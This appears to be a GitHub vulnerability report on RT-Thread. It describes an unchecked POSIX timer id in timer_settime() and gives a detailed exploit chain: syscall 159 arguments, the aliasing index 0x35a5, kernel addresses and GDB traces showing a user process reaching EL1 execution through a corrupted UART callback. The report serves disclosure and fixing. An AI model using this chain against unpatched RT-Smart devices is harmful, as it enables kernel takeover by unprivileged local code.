Skip to content

[Bug] libc: unchecked POSIX timer id in RT-Smart enables EL1 callback execution #11980

Open

Description

@XueDugu

RT-Thread Version

master 5d1fb66d13 (v5.4.0-dev). The vulnerable indexing was introduced by
077e984175e546a495fee1ace6f2f54ff161fc77; first affected release: v5.0.2.

Affected area

Components / libc / POSIX timer.

Hardware-BSP vendor

Raspberry Pi (Pico 2 W / RP2350) and QEMU (qemu-virt64-aarch64).

Architecture

ARM Cortex-M33 for the Pico 2 W board test; AArch64 for the RT-Smart
user-to-kernel proof of concept.

Board and hardware details

  • Pico 2 W, RP2350, ARM Secure image, pico2_w, UF2 family rp2350-arm-s.
  • Pico USB CDC: plink -serial COM10 -sercfg 115200,8,n,1,N.
  • QEMU: qemu-virt64-aarch64, RT_USING_SMART=y, virtio-blk FAT rootfs, PL011
    console, 128 MiB RAM, single CPU.

Develop Toolchain

  • Pico: Pico SDK 2.3.1, arm-none-eabi-gcc 10.3.1.
  • RT-Smart kernel: RT-Thread AArch64 musl toolchain (GCC 7.3.0).
  • User PoCs: freestanding AArch64 ELFs using official syscall entry points.

Describe the bug

timer_gettime() and timer_settime() use the user-supplied timer_t directly
as an index into the global _g_timerid[50] table:

timer = _g_timerid[(rt_ubase_t)timerid];

There is no timerid < TIMER_ID_MAX check. The sibling timer_delete() path
does perform that check, so the omission is inconsistent with the object-table
contract.

On RT-Smart, this is not only an out-of-bounds read. An attacker can select a
pointer stored next to _g_timerid and reinterpret the target kernel object as
struct timer_obj. In the QEMU image, index 0x35a5 (13733) aliases
_console_device. timer_settime() then overwrites fields of the live UART
device with attacker-controlled itimerspec data, including rx_indicate and
ops. One subsequent UART RX byte transfers control to the attacker-selected
address in EL1.

Expected behavior: reject a timer ID outside 0..TIMER_ID_MAX-1, and validate
the selected object's type and owner before using or mutating it.

Actual behavior: arbitrary aligned kernel memory can be read as a timer pointer;
a reachable adjacent object can be corrupted with user-controlled values.

Step to reproduce - Pico 2 W hardware

The reproduction UF2 builds RT-Thread's original
components/libc/compilers/common/ctime.c and resource_id.c for RP2350, with
USB CDC enabled. Only the clock backend functions needed to satisfy the linker
are stubbed; the vulnerable _g_timerid[] lookup occurs before those callbacks.

In the reproduced image:

10003f28 T timer_gettime
10003fd4 T timer_settime
2000202c b _g_timerid

The original timer_settime() entry starts with:

10003fd8: ldr  r5, [pc, #364]
10003fdc: ldr.w r6, [r5, r0, lsl #2]   ; _g_timerid[(rt_ubase_t)timerid]

Steps:

  1. Build the Pico firmware with the vulnerable ctime.c and flash the resulting
    UF2 to a Pico 2 W.

  2. Open the USB CDC port:

    plink -serial COM10 -sercfg 115200,8,n,1,N
    
  3. Confirm the shell is alive:

    help
    
  4. Trigger the OOB index:

    timer_oob
    

Observed on the board:

timer_oob> timer_oob
timer_oob: timer_t index=0x20000000
timer_oob: calling original ctime.c timer_settime()

There is no return from timer_settime(). On RP2350 the effective address is
0x2000202c + 0x20000000 * 4 = 0xa000202c (32-bit arithmetic), which is
unmapped and faults. Depending on the fault handler, the USB CDC connection
disappears/resets or the shell stops responding.

Step to reproduce - RT-Smart QEMU full chain

  1. Build bsp/qemu-virt64-aarch64 with RT_USING_SMART=y,
    RT_USING_POSIX_TIMER=y, RT_USING_CLOCK_TIME=y, DFS v2 and page cache.

  2. Place a freestanding AArch64 user ELF on the FAT rootfs.

  3. In the user ELF, call official syscall 159 (sys_timer_settime) with:

    timerid              = 0x35a5
    it_interval.tv_sec   = 0
    it_interval.tv_nsec  = 0
    it_value.tv_sec      = address of mapped user payload, e.g. 0x10000000
    it_value.tv_nsec     = 0
    old_value            = NULL
    
  4. For this exact image:

    _g_timerid       = 0xffff000000200578
    _console_device  = 0xffff00000021b2a0
    index            = (0x21b2a0 - 0x200578) / 8 = 13733 = 0x35a5
    
  5. Control group: perform timer_gettime(0) and then send one UART byte. The
    system remains alive.

  6. Attack group: call timer_settime(0x35a5, ...) above and send one UART byte.

GDB observation:

sys_timer_settime -> timer_settime(timerid=0x35a5)
fake timer pointer = 0xffff00000024b860 (uart0)

offset +128 rx_indicate:
  0xffff0000001414e4 -> 0x10000000

offset +144 ops:
  0xffff0000001876d8 -> 0x19c2ea

UART RX interrupt:
  PC      = 0x10000000
  SP      = 0xffff00000021ad30 <idle_thread_stack+6848>
  PSTATE  = 20002bc5 --C- EL1h

The UART RX ISR calls the corrupted rx_indicate field and reaches the
attacker-mapped address with EL1 execution.

Other additional context

Severity:

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.8 High
CWE-129 / CWE-787 / CWE-125 / CWE-822

Attack precondition: a local unprivileged RT-Smart process. This BSP has no
KASLR, so the adjacent object index can be derived from the firmware or scanned.

Related existing reports:

Both issues were closed as completed on 2025-05-24, but master still contains
the vulnerable indexing. This report is therefore an incomplete-fix follow-up:
it cross-references the known root cause and adds the missing full Pico 2 W and
RT-Smart EL1 exploitation evidence. PR #11938 only addresses 64-bit time
truncation and does not validate the timer ID.

Activity

  1. github-actions commented on Nov 3, 2026

    @github-actions

    如需认领并处理此 Issue,请评论 /claim。

    To claim and work on this issue, comment /claim.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions